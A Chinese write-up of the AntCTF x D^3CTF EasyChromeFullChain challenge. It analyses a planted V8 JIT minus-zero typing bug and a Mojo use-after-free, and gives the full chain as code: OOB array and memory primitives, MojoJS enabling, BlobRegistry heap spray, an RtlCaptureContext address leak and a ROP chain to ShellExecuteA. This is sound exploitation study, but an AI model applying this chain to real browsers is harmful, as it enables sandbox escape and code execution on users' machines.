0%

沙箱逃逸分析 AntCTF x D^3CTF EasyChromeFullChain

文章首发于安全KER https://www.anquanke.com/post/id/237501

0x00 前言

最近开始着手研究Chrome沙箱逃逸,正好借着本题学习一下。FullChain的漏洞利用一般需要依靠两个漏洞,首先是通过RCE开启Mojo(一种Chrome用于子进程与父进程进行通信的机制),然后通过Mojo漏洞逃离出沙箱。

0x01 前置知识

Mojo

简单来说,就是一种通信机制,它由两部分组成,首先是C/C++层的具体实现部分,这部分的代码会被一起编译进chrome程序中,并且它将运行在chrome的browser进程中(即主进程,没有沙箱的限制),第二部分就是对外导出的api接口了,在编译好mojom以后,会得到一系列js文件,这些js文件就是对外开放的api库了,我们可以引用它们,从而调用在browser进程中的C/C++代码。
Mojo不止有js的导出api库,还有java和C/C++的导出api库

在一般的CTF的RealWord题目中,这些mojo的js库一般会部署到远程的web根目录下,仅仅是为了方便,在真实的场景中,这些js一般不会出现,或者出现在一些我们无法预知的路径中,实际上,由于Chrome开源,因此这些库我们都可以直接编译得到一份,然后将其放置在我们远程的服务器上即可
要使用mojo的导出api,一般我们需要在js中引用两个库,一个是mojo_bindings.js,提供了一些Mojo操作用的对象和函数,另一个库就是我们想要调用的模块对应的js文件。

1
2
<\script type="text/javascript" src="/mojo_bindings.js"><\/script>
<\script type="text/javascript" src="/third_party/blink/public/mojom/xxxxx/xxxxx.mojom.js"><\/script>

然后,想在代码中使用,只需下列两句话初始化

1
2
let xxxxx_ptr = new blink.mojom.xxxxx();
Mojo.bindInterface(blink.mojom.xxxxx.name,mojo.makeRequest(xxxxx_ptr).handle, "process", true);

初始化以后,我们就可以使用xxxxx_ptr.的方式来调用browser进程中的C/C++函数了。这种方式有点类似于Java中的JNI技术,在语言层仅声明函数,具体实现在底层。不同之处在于mojo的底层代码运行在browser进程,一旦mojo的模块代码实现有漏洞,便可能控制browser进程的程序流,进而完成了沙箱逃逸。

0x02 V8 RCE部分

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index ef56d56e44..0d0091fcd8 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -187,12 +187,12 @@ bool CanOverflowSigned32(const Operator* op, Type left, Type right,
// We assume the inputs are checked Signed32 (or known statically to be
// Signed32). Technically, the inputs could also be minus zero, which we treat
// as 0 for the purpose of this function.
- if (left.Maybe(Type::MinusZero())) {
- left = Type::Union(left, type_cache->kSingletonZero, type_zone);
- }
- if (right.Maybe(Type::MinusZero())) {
- right = Type::Union(right, type_cache->kSingletonZero, type_zone);
- }
+ // if (left.Maybe(Type::MinusZero())) {
+ // left = Type::Union(left, type_cache->kSingletonZero, type_zone);
+ // }
+ // if (right.Maybe(Type::MinusZero())) {
+ // right = Type::Union(right, type_cache->kSingletonZero, type_zone);
+ // }
left = Type::Intersect(left, Type::Signed32(), type_zone);
right = Type::Intersect(right, Type::Signed32(), type_zone);
if (left.IsNone() || right.IsNone()) return false;
@@ -1671,18 +1671,18 @@ class RepresentationSelector {
VisitBinop<T>(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower<T>()) {
- if (lowering->poisoning_level_ ==
- PoisoningMitigationLevel::kDontPoison &&
- (index_type.IsNone() || length_type.IsNone() ||
+ if ((index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
// TODO(neis): Move this into TypedOptimization?
new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds;
+ DeferReplacement(node, node->InputAt(0));
+ } else {
+ NodeProperties::ChangeOp(
+ node, simplified()->CheckedUint32Bounds(feedback, new_flags));
}
- NodeProperties::ChangeOp(
- node, simplified()->CheckedUint32Bounds(feedback, new_flags));
}
} else if (p.flags() & CheckBoundsFlag::kConvertStringAndMinusZero) {
VisitBinop<T>(node, UseInfo::CheckedTaggedAsArrayIndex(feedback),

该patch位于CanOverflowSigned32函数,首先确定该函数的调用者,该函数首先在VisitSpeculativeIntegerAdditiveOp中被调用,然后在simplified-lowering阶段执行VisitNode时,遇到kSpeculativeSafeIntegerAdd或者kSpeculativeSafeIntegerSubtract时被调用来处理节点。

1
2
3
case IrOpcode::kSpeculativeSafeIntegerAdd:
case IrOpcode::kSpeculativeSafeIntegerSubtract:
return VisitSpeculativeIntegerAdditiveOp<T>(node, truncation, lowering);
1
2
3
4
5
6
7
8
9
10
11
if (lower<T>()) {
if (truncation.IsUsedAsWord32() ||
!CanOverflowSigned32(node->op(), left_feedback_type,
right_feedback_type, type_cache_,
graph_zone())) {
ChangeToPureOp(node, Int32Op(node));

} else {
ChangeToInt32OverflowOp(node);
}
}

为了研究CanOverflowSigned32的流程,我们使用如下代码进行测试

1
2
3
4
5
6
7
8
9
10
11
function opt(b) {
var x = b ? 0 : 1;
var y = b ? 2 : 3;
var i = x + y;
return i;
}

for (var i=0;i<0x10000;i++) {
opt(true);
opt(false);
}

V8.TFBytecodeGraphBuilder阶段,就已经使用了SpeculativeSafeIntegerAdd函数来进行加法运算,到了V8.TFSimplifiedLowering阶段,SpeculativeSafeIntegerAdd被替换成了Int32Add

然而断点CanOverflowSigned32的话,发现未断下,说明该函数未被调用,显然是满足了条件truncation.IsUsedAsWord32,于是我们修改一下测试用例

1
2
3
4
5
6
7
8
9
10
11
function opt(b) {
var x = b ? 1 : -1;
var y = b ? 2 : -0x80000000;
var i = x + y;
return i;
}

for (var i=0;i<0x10000;i++) {
opt(true);
//opt(false);
}

首先,我们修改了变量x和y的范围,使得x为Range(-1,1),y为Range(-0x80000000,2),那么,对于这种情况,JIT目前还不知道是否可以使用int32的函数来计算,因为它只知道一个Range,如果是计算表达式-0x80000000+1的话,不会溢出,但如果是计算表达式-1+-0x80000000就会int32的范围,发生溢出。因此这种情况下,将会调用CanOverflowSigned32来检查。
如果我们不注释掉opt(false);,结果如下

这是因为JIT代码生成时收集的信息已经完整,直接使用int64的函数了。也不会去调用CanOverflowSigned32函数。
现在知道如何触发CanOverflowSigned32函数以后,我们就可以在该函数下断点,然后进行调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
In file: /home/sea/Desktop/v8/src/compiler/simplified-lowering.cc
185 bool CanOverflowSigned32(const Operator* op, Type left, Type right,
186 TypeCache const* type_cache, Zone* type_zone) {
187 // We assume the inputs are checked Signed32 (or known statically to be
188 // Signed32). Technically, the inputs could also be minus zero, which we treat
189 // as 0 for the purpose of this function.
► 190 if (left.Maybe(Type::MinusZero())) {
191 left = Type::Union(left, type_cache->kSingletonZero, type_zone);
192 }
193 if (right.Maybe(Type::MinusZero())) {
194 right = Type::Union(right, type_cache->kSingletonZero, type_zone);
195 }
pwndbg> p left.Min()
$2 = -1
pwndbg> p left.Max()
$3 = 1
pwndbg> p right.Min()
$4 = -2147483648
pwndbg> p right.Max()
$5 = 2

可以知道,这里,left就是x,而right就是y,被patch的这段代码

1
2
3
4
5
6
190   if (left.Maybe(Type::MinusZero())) {
191 left = Type::Union(left, type_cache->kSingletonZero, type_zone);
192 }
193 if (right.Maybe(Type::MinusZero())) {
194 right = Type::Union(right, type_cache->kSingletonZero, type_zone);
195 }

其作用是通过与0进行Union,那么,如果left或者right中存在-0的话,会先转换为0。那么我们来继续分析一下,如果-0不被转换,会存在什么情况?
首先,我们修改一下测试用例,添加一个-0

1
2
3
4
5
6
7
8
9
10
function opt(b) {
var x = b ? -1 : -0;
var y = b ? 2 : -0x80000000;
var i = x + y;
return i;
}

for (var i=0;i<0x10000;i++) {
opt(true);
}

主要是下面这里做Intersect时,将出现问题,因为-0不属于Type::Signed32()类型

1
2
3
  196   left = Type::Intersect(left, Type::Signed32(), type_zone);
197 right = Type::Intersect(right, Type::Signed32(), type_zone);
► 198 if (left.IsNone() || right.IsNone()) return false;

正常情况下,结果是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
   193   if (right.Maybe(Type::MinusZero())) {
194 right = Type::Union(right, type_cache->kSingletonZero, type_zone);
195 }
196 left = Type::Intersect(left, Type::Signed32(), type_zone);
197 right = Type::Intersect(right, Type::Signed32(), type_zone);
► 198 if (left.IsNone() || right.IsNone()) return false;
199 switch (op->opcode()) {
200 case IrOpcode::kSpeculativeSafeIntegerAdd:
201 return (left.Max() + right.Max() > kMaxInt) ||
202 (left.Min() + right.Min() < kMinInt);
203
pwndbg> p left.Min()
$9 = -1
pwndbg> p left.Max()
$10 = 0

patch以后结果是这样的

1
2
3
4
pwndbg> p left.Min()
$1 = -1
pwndbg> p left.Max()
$3 = -1

-0丢失了,xRange(-1,-0)变成了Range(-1,-1),显然,这将导致溢出检测出现问题,我们直接继续修改测试用例,将加法改成减法,那么Range(-1,-1)-Range(-0x80000000,2)显然没有超过int32,于是CanOverflowSigned32返回false,没有检查出溢出。

1
2
3
4
5
6
7
8
9
10
11
12
function opt(b) {
var x = b ? -1 : -0;
var y = b ? 2 : -0x80000000;
var i = x - y;
return i;
}

for (var i=0;i<0x10000;i++) {
opt(true);
}

print(opt(false));

虽然输出的值仍然是2147483648,但实际上,cpu溢出标志位已经被设置,因此如果我们使用==-0x80000000,将返回true,正常情况下是false。于是构造POC如下

1
2
3
4
5
6
7
8
9
10
11
12
function opt(b) {
var x = b ? -1 : -0;
var y = b ? 2 : -0x80000000;
var i = x - y;
return i == -0x80000000;
}

for (var i=0;i<0x10000;i++) {
opt(true);
}

print(opt(false));

OOB数组构造

我们注意到,还有一处patch

1
2
3
4
5
6
7
8
9
10
11
-          if (lowering->poisoning_level_ ==
- PoisoningMitigationLevel::kDontPoison &&
- (index_type.IsNone() || length_type.IsNone() ||
+ if ((index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
// TODO(neis): Move this into TypedOptimization?
new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds;
+ DeferReplacement(node, node->InputAt(0));

此处patch的作用是在一些情况下将checkbounds节点消除,由于高版本V8已经不会将checkbounds节点直接消除,因此出题者为了降低难度增加了这个patch。构造OOB的数组过程如下,其过程比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var length_as_double = p64f(0x08042a89,0x200000);
function opt(b) {
//Range(-1,-0)
var x = b ? -1 : -0;
//Range(-1,-0x80000000)
var y = b ? 1 : -0x80000000;

//Range(-1,0)
var i = ((x - y) == -0x80000000);
if (b) i = -1;

//将i转换为数字,否则会进行Deoptimization
//Range(-1,0)
//reality:1
i = i >> 0;
//Range(0,1)
//reality:2
i = i + 1;
//Range(0,2)
//reality:4
i = i * 2;
//Range(1,3)
//reality:5
i = i + 1
var arr = [1.1,2.2,3.3,4.4,5.5];
var oob = [1.1,2.2];
arr[i] = length_as_double;
return oob;
}
for(let i = 0; i < 0x20000; i++)
opt(true);

var oob = opt(false);
oob.length = 0x1000;

查看一下IR图,在V8.TFEscapeAnalysis阶段时,还存在CheckBound节点

然而到了V8.TFSimplifiedLowering阶段,该节点消除了,于是数组可以越界

构造出OOB数组以后,只需接下来布局几个对象,即可轻松实现addressOfread64write64等原语,实现任意地址读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var obj_arr = [{}];
var float_arr = new Float64Array(1.1,2.2);
var arr_buf = new ArrayBuffer(0x1000);
var adv = new DataView(arr_buf);

var compression_high = u64f(oob[0x1d])[0];
print("compression_high=" + compression_high.toString(16));

function addressOf(obj) {
obj_arr[0] = obj;
var low = BigInt(u64f(oob[0x9])[1]) - 0x1n;
var addr = low | (BigInt(compression_high) << 32n);
return addr;
}

function read64(addr) {
oob[0x22] = p64f(0,big2int(addr));
oob[0x23] = p64f(big2int(addr >> 32n),0);
return adv.getBigUint64(0,true);
}

function write64(addr,value) {
oob[0x22] = p64f(0,big2int(addr));
oob[0x23] = p64f(big2int(addr >> 32n),0);
adv.setBigUint64(0,value,true);
}

地址泄露

我们使用addressOf泄露出chrome.dll的地址,然后后续就可以计算出一些gadgets的地址

1
2
3
var window_addr = addressOf(window);
chrome_dll_base = read64(window_addr+0x10n) - 0x7e86298n;
console.log("chrome_dll_base=0x" + chrome_dll_base.toString(16));

0x03 沙箱逃逸Mojo部分

漏洞分析

1
2
3
4
5
+void RenderFrameHostImpl::CreateAntNest(
+ mojo::PendingReceiver<antctf::mojom::AntNest> receiver) {
+ mojo::MakeSelfOwnedReceiver(std::make_unique<AntNestImpl>(this),
+ std::move(receiver));
+}

CreateAntNest创建实例时,使用std::make_unique<AntNestImpl>(this),创建了一个AntNestImpl对象,并使用unique智能指针进行管理,那么意味着这个AntNestImpl对象的生命周期与通信管道绑定了,在js层,我们可以通过xxx.ptr.reset()来手动释放。this指针也就是RenderFrameHostImpl对象的指针被保存于AntNestImpl对象中

1
2
3
+AntNestImpl::AntNestImpl(
+ RenderFrameHost* render_frame_host)
+ : render_frame_host_(render_frame_host){}

并且在AntNestImpl::StoreAntNestImpl::Fetch函数中,有调用render_frame_host_中的虚表函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
+void AntNestImpl::Store(const std::string &data){
+ size_t depth = render_frame_host_->GetFrameDepth();
+ if(depth == 0 || depth > 10){
+ return;
+ }
+ size_t capacity = depth * 0x100;
+ size_t count = capacity < data.size() ? capacity : data.size();
+
+ container_.emplace(
+ std::make_pair(depth, data.substr(0, count))
+ );
+}
+
+void AntNestImpl::Fetch(FetchCallback callback){
+ size_t depth = render_frame_host_->GetFrameDepth();
+ if(depth == 0 || depth > 10){
+ std::move(callback).Run("error depth");
+ return;
+ }
+ auto it = container_.find(depth);
+ if(it == container_.end()){
+ std::move(callback).Run("not yet stored");
+ return;
+ }
+
+ std::move(callback).Run(it->second);
+}

然而该对象不会随着render_frame_host_对象的销毁而销毁,这意味着即使render_frame_host_被释放了,其指针仍然在AntNestImpl对象中,我们仍然可以对其相关函数进行调用,这就造成了UAF。

开启Mojo功能

正常情况下,chrome启动时是没有开启Mojo支持的,除非启动时加上选项--enable-blink-features=MojoJS,开启Mojo的判断逻辑如下

1
2
3
4
5
6
7
8
9
void RenderFrameImpl::DidCreateScriptContext(v8::Local<v8::Context> context,
int world_id) {
if (((enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI) ||
enable_mojo_js_bindings_) &&
IsMainFrame() && world_id == ISOLATED_WORLD_ID_GLOBAL) {
// We only allow these bindings to be installed when creating the main
// world context of the main frame.
blink::WebContextFeatures::EnableMojoJS(context, true);
}

从中可以看出,只有main frame才可以支持Mojo,判断main frame是通过IsMainFrame函数来判断,实质就是frame对象中的一个字段,可以用任意地址读写将其修改为1,即可满足这一个条件,然而第二个条件就是enable_mojo_js_bindings_为真或者enabled_bindings_ BINDINGS_POLICY_MOJO_WEB_UI,即2,由于我们在V8方面已经可以任意地址读写,只需修改相关RenderFrameImpl对象中的一些字段,然后在js层使用window.location.reload();重新加载页面,即可开启Mojo。一个网页中可能会用多个RenderFrameImpl对象,我们可以使用如下方法在一个网页中添加一个iframe,其对应着RenderFrameImpl对象。

1
2
3
var iframe = document.createElement("iframe");
iframe.src = "child.html";
document.body.appendChild(iframe);

其中child.html内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<\html>
<\script type="text/javascript" src="/mojo_bindings.js"><\/script>
<\script src="/third_party/blink/public/mojom/ant_nest/ant_nest.mojom.js"><\/script>
<\script src="/enable_mojo.js"><\/script>
<\script>
if (checkMojo()) {
antNestPtr = new antctf.mojom.AntNestPtr();
Mojo.bindInterface(antctf.mojom.AntNest.name,
mojo.makeRequest(antNestPtr).handle, "context", true);
antNestPtr.store("aaaabbbb");
} else {
enable_mojo();
window.location.reload();
}
<\/script>
<\/html>

这些RenderFrameImpl对象,通过g_frame_map存储,这是一个全局变量,其定义如下

1
2
3
typedef std::map<blink::WebFrame*, RenderFrameImpl*> FrameMap;
base::LazyInstance<FrameMap>::DestructorAtExit g_frame_map =
LAZY_INSTANCE_INITIALIZER;

可以大致知道它是一个std::map容器,由于题目给我们的chrome.dll是去掉符号的,但幸运的是保留了一些调试信息,因此可以根据一些调试信息来定位g_frame_map的位置,不然就得重新编译一份版本一样的进行比对。可以通过IDA过滤字符串render_frame_impl.cc,然后定位到该字符串,交叉引用,列出一些函数,然后查看函数,找到一些特征,然后再加以动态调试观察

可以确定7FF87C478E80这个位置就是g_frame_map,其偏移为0x8688e80,于是,我们可以遍历g_frame_map,修改每一个RenderFrameImpl对象里的信息,使其满足开启Mojo的条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function enable_mojo() {
var g_frame_map_addr = chrome_dll_base + 0x8688e80n;
console.log("g_frame_map_addr=0x" + g_frame_map_addr.toString(16));
var begin_ptr = read64(g_frame_map_addr + 0x8n);
while (begin_ptr != 0n) {
var render_frame_ptr = read64(begin_ptr + 0x28n);
console.log("render_frame_ptr=0x" + render_frame_ptr.toString(16));
var enabled_bindings_addr = render_frame_ptr + 0x5acn;
console.log("enabled_bindings_addr=0x" + enabled_bindings_addr.toString(16));
write32(enabled_bindings_addr,2);
var is_main_frame_addr = render_frame_ptr + 0xc8n;
console.log("is_main_frame_addr=0x" + is_main_frame_addr.toString(16));
write8(is_main_frame_addr,1);

begin_ptr = read64(begin_ptr + 0x8n);
}
resetBacking_store();
return true;
}

泄露RenderFrameImpl对象地址

制造UAF比较简单,然后我们可以利用mojo自带的BlobRegistry对象进行heap spray将数据布局,伪造好render_frame_host_的虚表,利用BlobRegistry进行heap spray的方法已经被国外大佬封装为函数,几乎可以在Mojo这一类UAF中统一使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
function getAllocationConstructor() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,mojo.makeRequest(blob_registry_ptr).handle, "process", true);

function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {
}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
}
this.allocate = allocate;

this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req);

return this;
}

this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
});
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}

this.free = async function() {
await this.serialized_blob.blob.ptr.reset();
}

this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
});
});
}

this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}

return this;
}

async function allocate(data) {
let allocation = new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}

为了泄露RenderFrameImpl对象地址,我们可以将GetFrameDepth函数伪造为某一类特殊函数,首先能够正常被调用且返回,其次可以往我们能够控制的地方写入一些对象地址。一个在CFG绕过中的思想就可以用到这里了,我们将GetFrameDepth函数指针伪造为RtlCaptureContext

1
2
3
4
5
6
7
8
9
10
11
0:000> r
rax=00007ff87c342190 rbx=000000006b00c513 rcx=0000022c35d045e0
rdx=0000004b4c3fe140 rsi=0000022c365f2e30 rdi=0000004b4c3fe140
rip=00007ff874e2c47b rsp=0000004b4c3fe070 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000000 r10=0000000000008000
r11=0000004b4c3fdfc0 r12=0000022c365677c0 r13=0000004b4c3fe7c0
r14=0000022c365f2e30 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
chrome!ovly_debug_event+0x1039e9b:
00007ff8`74e2c47b ff90c8000000 call qword ptr [rax+0C8h]

注意到此时rcx指向的就是RenderFrameImpl对象地址,我们想要泄露的就是这个值,我们看一下RtlCaptureContext的代码

1
2
3
4
5
6
7
.text:00000001800A0D10                 pushfq
.text:00000001800A0D12 mov [rcx+78h], rax
.text:00000001800A0D16 mov [rcx+80h], rcx
.text:00000001800A0D1D mov [rcx+88h], rdx
.text:00000001800A0D24 mov [rcx+0B8h], r8
.text:00000001800A0D2B mov [rcx+0C0h], r9
...........................

一句mov [rcx+80h], rcxrcx的值保存到了RenderFrameImpl对象内部,然后我们使用BlobRegistry对象将该处的数据读取出来就可以得到地址了。官方WP的做法也是这个原理,只不过他使用的是content::WebContentsImpl::GetWakeLockContext这个函数。所以,我们可以将虚表指针伪造为IAT表地址,使得call qword ptr [rax+0C8h]正好调用到RtlCaptureContext,然后我们将数据读出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//伪造RenderFrameHost对象
const fakeRFH = new BigUint64Array(RenderFrameHost_SIZE / 8).fill(0x4141414141414141n);
//vtable
fakeRFH[0] = RtlCaptureContext_iat - 0xc8n;

//heap spray
for (var i=0;i<spray_count;i++) {
spray_arr.push(await allocate(fakeRFH.buffer));
}
//call RtlCaptureContext
await antNestPtr.store("")
//now leak the address
var rfh_addr = -1;
//var allocation;
for (var i=0;i<spray_count;i++) {
allocation = spray_arr[i];
var x = await allocation.readQword(0x80);
if (x != 0x4141414141414141n) {
rfh_addr = x;
break;
}
}
if (rfh_addr == -1) {
return false;
}

ROP

现在,准备工作都做好了,那么就可以直接进行ROP了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//释放blob,重新heap spray
await allocation.free();
console.log("rfh_addr=0x" + rfh_addr.toString(16));
//0x00000001814fbfae : xchg rax, rsp ; ret
var xchg_rax_rsp = chrome_dll_base + 0x14fbfaen;
//0x00000001850caadf : mov rax, qword ptr [rcx + 0x10] ; add rcx, 0x10 ; call qword ptr [rax + 0x158]
var adjust_register = chrome_dll_base + 0x50caadfn;
//0x0000000184ebc82f : add rsp, 0x158 ; ret
var add_rsp_158 = chrome_dll_base + 0x4ebc82fn;
var shellExecuteA = chrome_dll_base + 0x3FA9C0Fn;
var pop_rsi = chrome_dll_base + 0x13b8n;
fakeRFH.fill(0n);
//fake
fakeRFH[0] = rfh_addr;
fakeRFH[0x10 / 0x8] = rfh_addr + 0x18n;
fakeRFH[0x18 / 0x8] = add_rsp_158;

fakeRFH[0xc8 / 0x8] = adjust_register;
fakeRFH[0x170 / 0x8] = xchg_rax_rsp;

//now rop
fakeRFH[0x178 / 0x8] = pop_rsi;
fakeRFH[0x180 / 0x8] = rfh_addr + 0x1c0n;
fakeRFH[0x188 / 0x8] = shellExecuteA;
fakeRFH[0x1b0 / 0x8] = 0n;
fakeRFH[0x1b8 / 0x8] = 0x3n;

//cmd
var cmd = "calc.exe\x00";
var cmd_buf = new Uint8Array(fakeRFH.buffer);
for (var i=0;i<cmd.length;i++) {
cmd_buf[0x1c0 + i] = cmd.charCodeAt(i);
}

//heap spray
for (var i=0;i<spray_count;i++) {
await allocate(fakeRFH.buffer);
}

//run
await antNestPtr.store("");

效果如下

0x04 感想

Chrome沙箱逃逸这一块做起来还是不错的,也没那么难。通过学习,收获了许多。

0x05 参考

chromium 之 ipc (mojo) 消息机制
Mojo docs (go/mojo-docs)
SCTF2020-EasyMojo
利用 Mojo IPC 的 UAF 漏洞逃逸 Chrome 浏览器沙箱
90分钟加时依然无解 | AntCTF x D^3CTF [EasyChromeFullChain] Writeup